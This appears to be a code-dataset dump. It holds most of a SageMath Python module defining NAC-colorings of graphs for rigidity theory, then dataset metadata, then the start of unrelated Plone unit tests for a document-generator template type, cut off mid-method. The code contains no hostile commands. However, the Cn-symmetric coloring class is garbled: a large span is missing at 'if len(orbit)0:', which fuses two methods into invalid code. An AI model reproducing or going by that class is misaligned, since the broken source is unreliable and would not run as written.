2), (0, 3), (1, 3)], [(2, 4), (3, 4)]]); delta\n Traceback (most recent call last):\n ...\n RuntimeError: The edges of the NAC-coloring do not match the edges of the graph.\n \n TODO:\n \n blue/red graph\n \"\"\"\n def __init__(self, G, coloring, name=None, check=True):\n from flexible_rigid_graph import FlexRiGraph\n if type(G) == FlexRiGraph or 'FlexRiGraph' in str(type(G)) or isinstance(G, FlexRiGraph):\n self._graph = G\n else:\n raise exceptions.TypeError('The graph G must be FlexRiGraph.')\n if type(coloring) in [list, Set] and len(coloring) == 2:\n self._red_edges = Set([Set(e) for e in coloring[0]])\n self._blue_edges = Set([Set(e) for e in coloring[1]])\n elif type(coloring) == dict:\n self._red_edges = Set([Set(e) for e in coloring if coloring[e] == 'red'])\n self._blue_edges = Set([Set(e) for e in coloring if coloring[e] == 'blue'])\n elif type(coloring)==NACcoloring or isinstance(coloring, NACcoloring) or 'NACcoloring' in str(type(coloring)):\n self._red_edges = copy(coloring._red_edges)\n self._blue_edges = copy(coloring._blue_edges)\n else:\n raise exceptions.TypeError('The coloring must be a dict, list consisting of two lists or an instance of NACcoloring.')\n self._check_edges()\n self._name = name\n if check and not self.is_NAC_coloring():\n raise exceptions.ValueError('The coloring is not a NAC-coloring.')\n\n def _repr_(self):\n res = (self._name + ': ') if self._name != None else ''\n res += 'NAC-coloring with '\n if len(self._blue_edges) + len(self._red_edges) < 10:\n res += 'red edges ' + str(self._red_edges)\n res += ' and blue edges ' + str(self._blue_edges)\n else:\n res += str(len(self._red_edges)) + ' red edges and '\n res += str(len(self._blue_edges)) + ' blue edges '\n return res\n\n def name(self):\n r\"\"\"\n Return the name of the NAC-coloring.\n \"\"\"\n return self._name if self._name != None else ''\n\n def _rich_repr_(self, display_manager, **kwds):\n # copied from GenericGraph\n prefs = display_manager.preferences\n is_small = (0 < self._graph.num_verts() < 20)\n can_plot = (prefs.supplemental_plot != 'never')\n plot_graph = can_plot and (prefs.supplemental_plot == 'always' or is_small)\n # Under certain circumstances we display the plot as graphics\n if plot_graph:\n output = self.plot()._rich_repr_(display_manager)\n if output is not None:\n return output\n # create text for non-graphical output\n if can_plot:\n text = '{0} (use the .plot() method to plot)'.format(repr(self))\n else:\n text = repr(self)\n # latex() produces huge tikz environment, override\n tp = display_manager.types\n if (prefs.text == 'latex' and tp.OutputLatex in display_manager.supported_output()):\n return tp.OutputLatex(r'\\text{{{0}}}'.format(text))\n return tp.OutputPlainText(text)\n\n\n def _latex_(self):\n if self._name:\n l_name = latex_variable_name(self._name) + ': \\\\left('\n else:\n l_name = '\\\\left('\n return l_name +latex(self._red_edges)+'\\\\mapsto red; '+latex(self._blue_edges)+'\\\\mapsto blue\\\\right)'\n\n def _check_edges(self):\n r\"\"\"\n Raise a ``RuntimeError`` if the edges of the NAC-coloring do not match the edges of the graph.\n \"\"\"\n if (Set([Set(e) for e in self._graph.edges(labels=False)])\n != self._blue_edges.union(self._red_edges)):\n raise exceptions.RuntimeError('The edges of the NAC-coloring do not match the edges of the graph.')\n\n def is_NAC_coloring(self):\n r\"\"\"\n Return if the coloring is a NAC-coloring.\n\n The implementation uses Lemma 2.4 in [GLS2018]_.\n\n EXAMPLES::\n\n sage: from flexrilog import NACcoloring, GraphGenerator\n sage: G = GraphGenerator.SmallestFlexibleLamanGraph(); G\n SmallestFlexibleLamanGraph: FlexRiGraph with the vertices [0, 1, 2, 3, 4] and edges [(0, 1), (0, 2), (0, 3), (1, 2), (1, 3), (2, 4), (3, 4)]\n sage: delta = NACcoloring(G,[[(0, 1), (0, 2), (0, 3), (1, 2), (1, 3)], [(2, 4), (3, 4)]], check=False)\n sage: delta.is_NAC_coloring()\n True\n\n NAC-coloring must be surjective::\n\n sage: delta = NACcoloring(G,[[], [(0, 1), (0, 2), (0, 3), (1, 2), (1, 3), (2, 4), (3, 4)]], check=False)\n sage: delta.is_NAC_coloring()\n False\n\n And it has to satisfy the cycle conditions::\n\n sage: delta = NACcoloring(G,[[(0, 1), (0, 2)], [(0, 3), (1, 2), (1, 3), (2, 4), (3, 4)]], check=False)\n sage: delta.is_NAC_coloring()\n False\n\n \"\"\"\n self._check_edges()\n\n if len(self._red_edges) == 0 or len(self._blue_edges) == 0:\n return False\n for one_color_subgraph in [self.red_subgraph(), self.blue_subgraph()]:\n for component in one_color_subgraph.connected_components():\n if (len(Graph(self._graph).subgraph(component).edges(labels=False))\n - len(one_color_subgraph.subgraph(component).edges(labels=False))):\n return False\n return True\n\n def blue_edges(self):\n r\"\"\"\n Return the list of blue edges of the NAC-coloring.\n \"\"\"\n return list(self._blue_edges)\n\n def color(self, u, v=None):\n r\"\"\"\n Return the color of an edge.\n\n INPUT:\n\n If ``v`` is ``None``, then ``u`` is consider to be an edge.\n Otherwise, ``uv`` is taken as the edge.\n\n EXAMPLES::\n\n sage: from flexrilog import FlexRiGraph\n sage: G = FlexRiGraph(graphs.CompleteBipartiteGraph(3,3))\n sage: delta = G.NAC_colorings()[0]\n sage: delta.color(0,3)\n 'red'\n sage: delta.color([2,4])\n 'blue'\n sage: delta.color(1,2)\n Traceback (most recent call last):\n ...\n ValueError: There is no edge [1, 2]\n\n \"\"\"\n if not v is None:\n if not self._graph.has_edge(u,v):\n raise exceptions.ValueError('There is no edge ' + str([u,v]))\n return 'red' if Set([u,v]) in self._red_edges else 'blue'\n else:\n if not self._graph.has_edge(u[0],u[1]):\n raise exceptions.ValueError('There is no edge ' + str([u[0],u[1]]))\n return 'red' if Set([u[0],u[1]]) in self._red_edges else 'blue'\n\n\n def red_edges(self):\n r\"\"\"\n Return the list of red edges of the NAC-coloring.\n \"\"\"\n return list(self._red_edges)\n\n def is_red(self, u, v=None):\n r\"\"\"\n Return if the edge is red.\n\n INPUT:\n\n If ``v`` is ``None``, then ``u`` is consider to be an edge.\n Otherwise, ``uv`` is taken as the edge.\n\n EXAMPLES::\n\n sage: from flexrilog import FlexRiGraph\n sage: G = FlexRiGraph(graphs.CompleteBipartiteGraph(3,3))\n sage: delta = G.NAC_colorings()[0]\n sage: delta.is_red(0,3)\n True\n sage: delta.is_red([2,4])\n False\n sage: delta.is_red(1,2)\n Traceback (most recent call last):\n ...\n ValueError: There is no edge [1, 2]\n\n \"\"\"\n if not v is None:\n if not self._graph.has_edge(u,v):\n raise exceptions.ValueError('There is no edge ' + str([u,v]))\n return Set([u,v]) in self._red_edges\n else:\n if not self._graph.has_edge(u[0],u[1]):\n raise exceptions.ValueError('There is no edge ' + str([u[0],u[1]]))\n return Set([u[0],u[1]]) in self._red_edges\n\n\n def is_blue(self, u, v=None):\n r\"\"\"\n Return if the edge is blue.\n\n INPUT:\n\n If ``v`` is ``None``, then ``u`` is consider to be an edge.\n Otherwise, ``uv`` is taken as the edge.\n\n EXAMPLES::\n\n sage: from flexrilog import FlexRiGraph\n sage: G = FlexRiGraph(graphs.CompleteBipartiteGraph(3,3))\n sage: delta = G.NAC_colorings()[0]\n sage: delta.is_blue(2,4)\n True\n sage: delta.is_blue([0,4])\n False\n sage: delta.is_blue(1,2)\n Traceback (most recent call last):\n ...\n ValueError: There is no edge [1, 2]\n\n \"\"\"\n if v:\n if not self._graph.has_edge(u,v):\n raise exceptions.ValueError('There is no edge ' + str([u,v]))\n return Set([u,v]) in self._blue_edges\n else:\n if not self._graph.has_edge(u[0],u[1]):\n raise exceptions.ValueError('There is no edge ' + str([u[0],u[1]]))\n return Set([u[0],u[1]]) in self._blue_edges\n\n\n def blue_subgraph(self):\n return Graph([self._graph.vertices(),[list(e) for e in self._blue_edges]], format='vertices_and_edges')\n\n \n def blue_components(self):\n return self.blue_subgraph().connected_components()\n\n\n def red_subgraph(self):\n return Graph([self._graph.vertices(),[list(e) for e in self._red_edges]], format='vertices_and_edges')\n\n\n def red_components(self):\n return self.red_subgraph().connected_components()\n \n\n def plot(self, grid_pos=False, zigzag=False):\n r\"\"\"\n Return a plot of the NAC-coloring.\n\n EXAMPLES::\n\n sage: from flexrilog import FlexRiGraph\n sage: G = FlexRiGraph(graphs.CompleteBipartiteGraph(3,3))\n sage: delta = G.NAC_colorings()[0]\n sage: delta.plot()\n Graphics object consisting of 16 graphics primitives\n\n .. PLOT::\n\n from flexrilog import FlexRiGraph\n G = FlexRiGraph(graphs.CompleteBipartiteGraph(3,3))\n sphinx_plot(G.NAC_colorings()[0])\n\n ::\n\n sage: from flexrilog import GraphGenerator\n sage: G = GraphGenerator.ThreePrismGraph()\n sage: delta = G.NAC_colorings()[0].conjugated()\n sage: delta.plot(grid_pos=True)\n Graphics object consisting of 16 graphics primitives\n\n .. PLOT::\n\n from flexrilog import GraphGenerator\n G = GraphGenerator.ThreePrismGraph()\n delta = G.NAC_colorings()[0].conjugated()\n sphinx_plot(delta.plot(grid_pos=True))\n\n ::\n\n sage: from flexrilog import GraphGenerator\n sage: G = GraphGenerator.ThreePrismGraph()\n sage: delta = G.NAC_colorings()[0].conjugated()\n sage: delta.plot(grid_pos=True, zigzag=True)\n Graphics object consisting of 16 graphics primitives\n\n .. PLOT::\n\n from flexrilog import GraphGenerator\n G = GraphGenerator.ThreePrismGraph()\n delta = G.NAC_colorings()[0].conjugated()\n sphinx_plot(delta.plot(grid_pos=True, zigzag=True))\n\n ::\n\n sage: from flexrilog import GraphGenerator\n sage: G = GraphGenerator.ThreePrismGraph()\n sage: delta = G.NAC_colorings()[0].conjugated()\n sage: delta.plot(grid_pos=True, zigzag=[[[0,0], [0,1]], [[0,0], [1,1/2], [2,0]]])\n Graphics object consisting of 16 graphics primitives\n\n .. PLOT::\n\n from flexrilog import GraphGenerator\n G = GraphGenerator.ThreePrismGraph()\n delta = G.NAC_colorings()[0].conjugated()\n sphinx_plot(delta.plot(grid_pos=True, zigzag=[[[0,0], [0,1]], [[0,0], [1,1/2], [2,0]]]))\n\n TODO:\n\n doc\n \"\"\"\n args_kwd = {}\n if self.name():\n args_kwd['title'] = '$'+latex_variable_name(self.name())+'$'\n if grid_pos:\n from graph_motion import GraphMotion\n args_kwd['pos'] = GraphMotion.GridConstruction(self._graph, self, zigzag).realization(0, numeric=True)\n# grid_coor = self.grid_coordinates()\n# if zigzag:\n# if type(zigzag) == list and len(zigzag) == 2:\n# a = [vector(c) for c in zigzag[0]]\n# b = [vector(c) for c in zigzag[1]]\n# else:\n# m = max([k for _, k in grid_coor.values()])\n# n = max([k for k, _ in grid_coor.values()])\n# a = [vector([0.3*((-1)^i-1)+0.3*sin(i), i]) for i in range(0,m+1)]\n# b = [vector([j, 0.3*((-1)^j-1)+0.3*sin(j)]) for j in range(0,n+1)]\n# else:\n# positions = {}\n# m = max([k for _, k in grid_coor.values()])\n# n = max([k for k, _ in grid_coor.values()])\n# a = [vector([0, i]) for i in range(0,m+1)]\n# b = [vector([j, 0]) for j in range(0,n+1)]\n# alpha = 0\n# rotation = matrix([[cos(alpha), sin(alpha)], [-sin(alpha), cos(alpha)]])\n# positions = {}\n# for v in self._graph.vertices():\n# positions[v] = rotation * a[grid_coor[v][1]] + b[grid_coor[v][0]]\n# return self._graph.plot(NAC_coloring=self, pos=positions)\n return self._graph.plot(NAC_coloring=self, name_in_title=False, **args_kwd)\n\n def is_isomorphic(self, other_coloring, check=True, certificate=False, aut_group=None):\n r\"\"\"\n Return if the NAC-coloring is isomorphic to ``other_coloring``.\n\n NAC-colorings $\\\\delta_1$ and $\\\\delta_2$ of a graph $G$ are isomorphic if and only if\n there exists and automorphism $\\\\sigma$ of $G$ such that\n\n - $\\\\delta_1(uv) = \\\\text{red} \\\\iff \\\\delta_2(\\\\sigma(u),\\\\sigma(v)) = \\\\text{red}$ for all $uv\\\\in E_G$, or\n - $\\\\delta_1(uv) = \\\\text{blue} \\\\iff \\\\delta_2(\\\\sigma(u),\\\\sigma(v)) = \\\\text{red}$ for all $uv\\\\in E_G$.\n\n INPUT:\n\n - ``other_coloring`` -- a NAC-colorings that is checked to be isomorphic with this NAC-coloring.\n - ``check`` -- if ``True`` (default), then it is checked whether the NAC-colorings belong\n to the same graph.\n - ``certificate`` -- if ``False`` (default), then onlt boolean is returned.\n Otherwise, ``(True, sigma)`` resp. ``(false, None)`` is returned,\n where ``sigma`` is the graph automorphism mapping the NAC-coloring to the ``other_coloring``.\n\n EXAMPLES::\n\n sage: from flexrilog import FlexRiGraph, NACcoloring\n sage: G = FlexRiGraph(graphs.CompleteBipartiteGraph(3,3))\n sage: colorings = G.NAC_colorings()\n sage: col1, col2, col3 = colorings[4], colorings[5], colorings[7]\n sage: col1\n NAC-coloring with red edges {{1, 3}, {0, 4}, {1, 4}, {0, 3}, {2, 5}} and blue edges {{2, 4}, {0, 5}, {1, 5}, {2, 3}}\n sage: col2\n NAC-coloring with red edges {{2, 4}, {0, 4}, {2, 3}, {0, 3}, {1, 5}} and blue edges {{1, 3}, {0, 5}, {2, 5}, {1, 4}}\n sage: col3\n NAC-coloring with red edges {{2, 3}, {2, 5}, {1, 3}, {1, 5}, {0, 5}, {0, 3}} and blue edges {{2, 4}, {0, 4}, {1, 4}}\n sage: col1.is_isomorphic(col2)\n True\n sage: _, sigma = col1.is_isomorphic(col2, certificate=True); sigma\n (1,2)\n sage: col1.isomorphic_NAC_coloring(sigma).is_equal(col2)\n True\n sage: col1.is_isomorphic(col3)\n False\n\n ``col1``:\n\n .. PLOT::\n\n from flexrilog import FlexRiGraph, NACcoloring\n G = FlexRiGraph(graphs.CompleteBipartiteGraph(3,3))\n sphinx_plot(G.NAC_colorings()[4])\n\n ``col2``:\n\n .. PLOT::\n\n from flexrilog import FlexRiGraph, NACcoloring\n G = FlexRiGraph(graphs.CompleteBipartiteGraph(3,3))\n sphinx_plot(G.NAC_colorings()[5])\n \"\"\"\n if check and self._graph != other_coloring._graph:\n raise exceptions.RuntimeError('The NAC-colorings must belong to the same graph.')\n\n if aut_group==None:\n aut_group = self._graph.automorphism_group()\n if (Set([len(self.blue_edges()), len(self.red_edges())])\n != Set([len(other_coloring.blue_edges()), len(other_coloring.red_edges())])):\n if not certificate:\n return False\n else:\n return (False, None)\n\n for sigma in aut_group:\n if Set([self._red_edges, self._blue_edges]) == Set(other_coloring.isomorphic_NAC_coloring(sigma,onlySets=True)): # faster\n #if self.is_equal(other_coloring.isomorphic_NAC_coloring(sigma)):\n if not certificate:\n return True\n else:\n return (True, sigma)\n if not certificate:\n return False\n else:\n return (False, None)\n\n def isomorphic_NAC_coloring(self, sigma, onlySets=False):\n r\"\"\"\n Return the NAC-coloring under a morphism ``sigma``.\n \"\"\"\n if onlySets:\n return [Set([Set([sigma(e[0]),sigma(e[1])]) for e in self._red_edges]),\n Set([Set([sigma(e[0]),sigma(e[1])]) for e in self._blue_edges])]\n else:\n return NACcoloring(self._graph, [[[sigma(e[0]),sigma(e[1])] for e in edges] for edges in [self._red_edges, self._blue_edges]])\n\n def is_equal(self, other_coloring, moduloConjugation=True):\n r\"\"\"\n Return if the NAC-coloring is equal to ``other_coloring``.\n\n INPUT:\n\n - ``moduloConjugation`` -- If ``True`` (default),\n then the NAC-colorings are compared modulo swapping colors.\n\n EXAMPLES::\n\n sage: from flexrilog import NACcoloring, GraphGenerator\n sage: G = GraphGenerator.SmallestFlexibleLamanGraph(); G\n SmallestFlexibleLamanGraph: FlexRiGraph with the vertices [0, 1, 2, 3, 4] and edges [(0, 1), (0, 2), (0, 3), (1, 2), (1, 3), (2, 4), (3, 4)]\n sage: delta1 = NACcoloring(G,[[(0, 1), (0, 2), (0, 3), (1, 2), (1, 3)], [(2, 4), (3, 4)]])\n sage: delta2 = NACcoloring(G,[[(2, 4), (3, 4)],[(0, 1), (0, 2), (0, 3), (1, 2), (1, 3)]])\n sage: delta1.is_equal(delta2)\n True\n sage: delta1.is_equal(delta2, moduloConjugation=False)\n False\n \"\"\"\n if moduloConjugation:\n return Set([self._red_edges, self._blue_edges]) == Set([other_coloring._red_edges, other_coloring._blue_edges])\n else:\n return self._red_edges == other_coloring._red_edges and self._blue_edges == other_coloring._blue_edges\n\n\n def set_name(self, new_name):\n r\"\"\"\n Set a new name.\n\n EXAMPLES::\n\n sage: from flexrilog import GraphGenerator\n sage: G = GraphGenerator.SmallestFlexibleLamanGraph()\n sage: delta = G.NAC_colorings()[0]; delta\n NAC-coloring with red edges {{1, 3}, {1, 2}, {0, 2}, {0, 3}, {0, 1}} and blue edges {{2, 4}, {3, 4}}\n sage: delta.set_name('delta'); delta\n delta: NAC-coloring with red edges {{1, 3}, {1, 2}, {0, 2}, {0, 3}, {0, 1}} and blue edges {{2, 4}, {3, 4}}\n sage: latex(delta)\n \\delta: \\left( \\left\\{\\left\\{1, 3\\right\\},\n ...\n \\left\\{3, 4\\right\\}\\right\\} \\mapsto blue\\right)\n \"\"\"\n self._name = new_name\n\n def path_is_unicolor(self, path):\n r\"\"\"\n Return if the edges of the path have the same color.\n \"\"\"\n edges = Set([Set(e) for e in zip(path[:-1],path[1:])])\n return edges.issubset(self._red_edges) or edges.issubset(self._blue_edges)\n\n\n def grid_coordinates(self, ordered_red=[], ordered_blue=[]):\n r\"\"\"\n Return coordinates for the grid construction.\n \n The optional parameters `ordered_red`, `ordered_blue` can be used to specify the order of components to be taken.\n\n See [GLS2018]_ for the description of the grid construction.\n \n TODO:\n \n test\n \"\"\"\n pos = {}\n red_comps = self.red_components()\n blue_comps = self.blue_components()\n if ordered_red:\n if type(ordered_red)!=list or len(ordered_red)!=len(red_comps) or Set(flatten(ordered_red))!=Set(self._graph.vertices()):\n raise ValueError('`ordered_red` must be a list of all red components, not ' + str(ordered_red))\n red_comps = ordered_red\n if ordered_blue:\n if type(ordered_blue)!=list or len(ordered_blue)!=len(blue_comps) or Set(flatten(ordered_blue))!=Set(self._graph.vertices()):\n raise ValueError('`ordered_blue` must be a list of all blue components, not ' + str(ordered_blue))\n blue_comps = ordered_blue\n for (i,red) in enumerate(red_comps):\n for (j,blue) in enumerate(blue_comps):\n for v in blue:\n if v in red:\n pos[v] = (i,j)\n return pos\n\n def grid_coordinates_are_injective(self):\n r\"\"\"\n Return if the grid coordinates are injective.\n\n EXAMPLES::\n\n sage: from flexrilog import GraphGenerator\n sage: G = GraphGenerator.ThreePrismGraph()\n sage: delta = G.NAC_colorings()[0]\n sage: delta.grid_coordinates_are_injective()\n True\n\n ::\n\n sage: from flexrilog import GraphGenerator\n sage: G = GraphGenerator.SmallestFlexibleLamanGraph()\n sage: delta = G.NAC_colorings()[0]\n sage: delta.grid_coordinates_are_injective()\n False\n \"\"\"\n return len(Set(self.grid_coordinates().values())) == self._graph.num_verts()\n\n def conjugated(self):\n r\"\"\"\n Return the conjugated NAC-coloring.\n \"\"\"\n return NACcoloring(self._graph, [self.blue_edges(), self.red_edges()], check=False)\n\n\n def is_singleton(self, NACs=[]):\n r\"\"\"\n Return if the NAC-coloring is a singleton.\n\n Let $G$ be a graph and $N$ be a subset of its NAC-colorings.\n A NAC-coloring $\\\\delta$ is called \\\\emph{singleton} w.r.t.\\ $N$\n if $|\\\\{(\\\\delta(e),\\\\delta'(e))\\colon e\\\\in E_{Q_1}\\\\}|\\\\,\\\\neq 3$ for all $\\\\delta'\\\\in N$.\n\n INPUT:\n\n - ``NACs`` -- being singleton is considered w.r.t the list of NAC-colorings ``NACs``.\n If this is empty (default), then all NAC-colorings of the graph are considered.\n\n EXAMPLES::\n\n sage: from flexrilog import GraphGenerator\n sage: T = GraphGenerator.ThreePrismGraph()\n sage: delta = T.NAC_colorings()[0]\n sage: delta.is_singleton()\n True\n\n ::\n\n sage: Q1 = GraphGenerator.Q1Graph()\n sage: [[(delta.name(), delta.is_singleton()) for delta in equiv_cls] for equiv_cls in Q1.NAC_colorings_isomorphism_classes()]\n [[('psi2', False), ('psi1', False)],\n [('eta', True)],\n [('gamma1', True), ('gamma2', True)],\n [('phi4', False), ('phi3', False)],\n [('epsilon24', True),\n ('epsilon13', True),\n ('epsilon23', True),\n ('epsilon14', True)],\n [('zeta', False)]]\n\n ::\n\n sage: delta = Q1.name2NAC_coloring('psi1')\n sage: delta.is_singleton([Q1.name2NAC_coloring(name) for name in ['epsilon23', 'epsilon24', 'epsilon13', 'epsilon14']])\n True\n \"\"\"\n if NACs == []:\n NACs = self._graph.NAC_colorings()\n for delta in NACs:\n if len(Set([(self.is_red(e), delta.is_red(e)) for e in self._graph.edges(labels=False)])) == 3:\n return False\n return True\n\n def cycle_has_orthogonal_diagonals(self, cycle):\n r\"\"\"\n Return if the NAC-coloring implies orthogonal diagonals for a given 4-cycle.\n\n EXAMPLE::\n\n sage: from flexrilog import GraphGenerator\n sage: K33 = GraphGenerator.K33Graph()\n sage: [[delta.name(), [cycle for cycle in K33.four_cycles() if delta.cycle_has_orthogonal_diagonals(cycle)]] for delta in K33.NAC_colorings()]\n [['omega5', []],\n ['omega3', []],\n ['omega1', []],\n ['omega6', []],\n ['epsilon56', [(1, 2, 3, 4)]],\n ['epsilon36', [(1, 2, 5, 4)]],\n ['epsilon16', [(2, 3, 4, 5)]],\n ['omega4', []],\n ['epsilon45', [(1, 2, 3, 6)]],\n ['epsilon34', [(1, 2, 5, 6)]],\n ['epsilon14', [(2, 3, 6, 5)]],\n ['omega2', []],\n ['epsilon25', [(1, 4, 3, 6)]],\n ['epsilon23', [(1, 4, 5, 6)]],\n ['epsilon12', [(3, 4, 5, 6)]]]\n \"\"\"\n if len(cycle)!= 4:\n raise exceptions.ValueError('The cycle must be a 4-cycle.')\n if self.path_is_unicolor(list(cycle) + [cycle[0]]):\n if self.is_red(cycle[0], cycle[1]):\n subgraph = Graph([self._graph.vertices(), [list(e) for e in self.blue_edges()]], format='vertices_and_edges')\n else:\n subgraph = Graph([self._graph.vertices(), [list(e) for e in self.red_edges()]], format='vertices_and_edges')\n if subgraph.shortest_path(cycle[0], cycle[2]) and subgraph.shortest_path(cycle[1], cycle[3]):\n return True\n else:\n return False\n return False\n\n def print_tikz(self):\n r\"\"\"\n Print TikZ code for the graph colored with the NAC-coloring.\n \"\"\"\n self._graph.print_tikz([self.blue_edges(), self.red_edges()], ['redge', 'bedge'])\n \n def NAC2int(self):\n r\"\"\"\n Return the integer representation of the NAC-coloring.\n\n The binary representation of the number is obtained by sorting\n the edges lexicographically and setting 1 for red edges,\n 0 for blue edges, or the other way around if the first edge is blue.\n \n EXAMPLE::\n \n sage: from flexrilog import GraphGenerator\n sage: delta = GraphGenerator.Q1Graph().NAC_colorings()[0]\n sage: delta.NAC2int()\n 3871\n sage: 3871.binary()\n '111100011111'\n \"\"\"\n s = '1'\n u1, v1 = self._graph.edges(labels=False)[0]\n first_color = self.color(u1, v1)\n for u,v in self._graph.edges(labels=False):\n s += '1' if self.color(u,v)==first_color else '0'\n return int(s,2)\n\n\n\n\nclass CnSymmetricNACcoloring(NACcoloring):\n r\"\"\"\n The class for a $\\mathcal{C}_n$-symmetric NAC-coloring of a $\\mathcal{C}_n$-symmetric graph.\n\n We define a NAC-coloring $\\delta$ to be a $\\mathcal{C}_n$-symmetric if\n \n - $\\delta(\\omega e)$ = $\\delta(e)$ for all $e \\in E_G$, where $\\omega$ generates $\\mathcal{C}_n$, and \n - no two distinct blue, resp. red, partially invariant components are connected by an edge.\n \"\"\"\n def __init__(self, G, coloring, name=None, check=True):\n from flexible_rigid_graph import CnSymmetricFlexRiGraph\n if not isinstance(G, CnSymmetricFlexRiGraph):\n raise ValueError('The graph G must be an instance of CnSymmetricFlexRiGraph.')\n super(CnSymmetricNACcoloring, self).__init__(G, coloring, name, check)\n self.n = self._graph.n\n self.omega = self._graph.omega\n self._find_components_orbits()\n if check and not self.is_Cn_symmetric():\n raise exceptions.ValueError('The coloring is not a Cn-symmetric NAC-coloring.')\n \n \n def _find_components_orbits(self):\n red_subgraph = self.red_subgraph()\n blue_subgraph = self.blue_subgraph()\n self._partially_invariant_components = {}\n self._noninvariant_components = {}\n self._partially_invariant_orbits = {}\n self._noninvariant_orbits = {}\n for one_color_subgraph, col in [[red_subgraph, 'red'],\n [blue_subgraph, 'blue']]:\n invariant_comps = []\n noninv_comps = []\n comps_as_sets = [Set(component) for component in one_color_subgraph.connected_components()]\n comps_perm = PermutationGroup([[Set([self.omega(v) for v in component]) for component in comps_as_sets]],\n domain=comps_as_sets)\n for orbit in comps_perm.orbits():\n if len(orbit)0:\n return False\n if len(self.red_subgraph().subgraph(flatten(self._partially_invariant_components['blue'])).edges())>0:\n return False\n return True\n\n\n\n__doc__ = __doc__.replace(\n \"{INDEX_OF_METHODS}\", (gen_rest_table_index(NACcoloring)))\n","sub_path":"flexrilog/NAC_coloring.py","file_name":"NAC_coloring.py","file_ext":"py","file_size_in_byte":33283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"639858251","text":"# -*- coding: utf-8 -*-\n\nfrom Acquisition import aq_base\n\nfrom collective.documentgenerator.interfaces import IPODTemplateCondition\nfrom collective.documentgenerator.testing import TEST_INSTALL_INTEGRATION\nfrom collective.documentgenerator.testing import ConfigurablePODTemplateIntegrationTest\n\nfrom plone import api\n\nfrom zope.component import queryMultiAdapter\n\nimport unittest\n\n\nclass TestConfigurablePODTemplate(unittest.TestCase):\n \"\"\"\n Test ConfigurablePODTemplate content type.\n \"\"\"\n\n layer = TEST_INSTALL_INTEGRATION\n\n def test_ConfigurablePODTemplate_portal_type_is_registered(self):\n portal_types = api.portal.get_tool('portal_types')\n registered_types = portal_types.listContentTypes()\n self.assertTrue('ConfigurablePODTemplate' in registered_types)\n\n\nclass TestConfigurablePODTemplateFields(ConfigurablePODTemplateIntegrationTest):\n \"\"\"\n Test schema fields declaration.\n \"\"\"\n\n def test_class_registration(self):\n from collective.documentgenerator.content.pod_template import ConfigurablePODTemplate\n self.assertTrue(self.test_podtemplate.__class__ == ConfigurablePODTemplate)\n\n def test_schema_registration(self):\n portal_types = api.portal.get_tool('portal_types')\n podtemplate_type = portal_types.get(self.test_podtemplate.portal_type)\n self.assertTrue('IConfigurablePODTemplate' in podtemplate_type.schema)\n\n def test_pod_portal_type_attribute(self):\n test_podtemplate = aq_base(self.test_podtemplate)\n self.assertTrue(hasattr(test_podtemplate, 'pod_portal_type'))\n\n def test_pod_portal_type_field_display(self):\n self.browser.open(self.test_podtemplate.absolute_url())\n contents = self.browser.contents\n msg = \"field 'pod_portal_type' is not displayed\"\n self.assertTrue('id=\"form-widgets-pod_portal_type\"' in contents, msg)\n msg = \"field 'pod_portal_type' is not translated\"\n self.assertTrue('Types de contenu autorisés' in contents, msg)\n\n def test_pod_portal_type_field_edit(self):\n self.browser.open(self.test_podtemplate.absolute_url() + '/edit')\n contents = self.browser.contents\n msg = \"field 'pod_portal_type' is not editable\"\n self.assertTrue('Types de contenu autorisés' in contents, msg)\n\n def test_enabled_attribute(self):\n test_podtemplate = aq_base(self.test_podtemplate)\n self.assertTrue(hasattr(test_podtemplate, 'enabled'))\n\n def test_enabled_field_display(self):\n self.browser.open(self.test_podtemplate.absolute_url())\n contents = self.browser.contents\n msg = \"field 'enabled' is not displayed\"\n self.assertTrue('id=\"form-widgets-enabled\"' in contents, msg)\n msg = \"field 'enabled' is not translated\"\n self.assertTrue('Activé' in contents, msg)\n\n def test_enabled_field_edit(self):\n self.browser.open(self.test_podtemplate.absolute_url() + '/edit')\n contents = self.browser.contents\n msg = \"field 'enabled' is not editable\"\n self.assertTrue('Activé' in contents, msg)\n\n def test_style_template_attribute(self):\n test_podtemplate = aq_base(self.test_podtemplate)\n self.assertTrue(hasattr(test_podtemplate, 'style_template'))\n\n def test_style_template_field_display(self):\n self.browser.open(self.test_podtemplate.absolute_url())\n contents = self.browser.contents\n msg = \"field 'style_template' is not displayed\"\n self.assertTrue('id=\"form-widgets-style_template\"' in contents, msg)\n msg = \"field 'style_template' is not translated\"\n self.assertTrue('Modèle de style' in contents, msg)\n\n def test_style_template_field_edit(self):\n self.browser.open(self.test_podtemplate.absolute_url() + '/edit')\n contents = self.browser.contents\n msg = \"field 'style_template' is not editable\"\n self.assertTrue('Modèle de style' in contents, msg)\n\n def test_merge_templates_attribute(self):\n test_podtemplate = aq_base(self.test_podtemplate)\n self.assertTrue(hasattr(test_podtemplate, 'merge_templates'))\n\n def test_merge_templates_field_display(self):\n self.browser.open(self.test_podtemplate.absolute_url())\n contents = self.browser.contents\n msg = \"field 'merge_templates' is not displayed\"\n self.assertTrue('for=\"form-widgets-merge_templates\"' in contents, msg)\n msg = \"field 'merge_templates' is not translated\"\n self.assertTrue('Modèles à fusionner' in contents, msg)\n\n def test_merge_templates_field_edit(self):\n self.browser.open(self.test_podtemplate.absolute_url() + '/edit')\n contents = self.browser.contents\n msg = \"field 'merge_templates' is not editable\"\n self.assertTrue('Modèles à fusionner' in contents, msg)\n\n\nclass TestConfigurablePODTemplateIntegration(ConfigurablePODTemplateIntegrationTest):\n \"\"\"\n Test ConfigurablePODTemplate methods.\n \"\"\"\n\n def test_generation_condition_registration(self):\n from collective.documentgenerator.content.condition import ConfigurablePODTemplateCondition\n\n context = self.portal\n condition_obj = queryMultiAdapter(\n (self.test_podtemplate, context),\n IPODTemplateCondition,\n )\n\n self.assertTrue(isinstance(condition_obj, ConfigurablePODTemplateCondition))\n\n def test_can_be_generated(self):\n self.test_podtemplate.pod_portal_type = []\n self.assertTrue(self.test_podtemplate.can_be_generated(self.portal))\n\n # Disable the template.\n self.test_podtemplate.enabled = False\n msg = 'disabled template should not be generated'\n self.assertTrue(not self.test_podtemplate.can_be_generated(self.portal), msg)\n\n # Restrict allowed types to 'File'.\n self.test_podtemplate.enabled = True\n self.test_podtemplate.pod_portal_type = ['File']\n msg = 'disabled template should not be generated'\n self.assertTrue(not self.test_podtemplate.can_be_generated(self.portal), msg)\n\n def test_get_style_template(self):\n style_template = self.portal.podtemplates.test_style_template\n pod_template = self.test_podtemplate\n 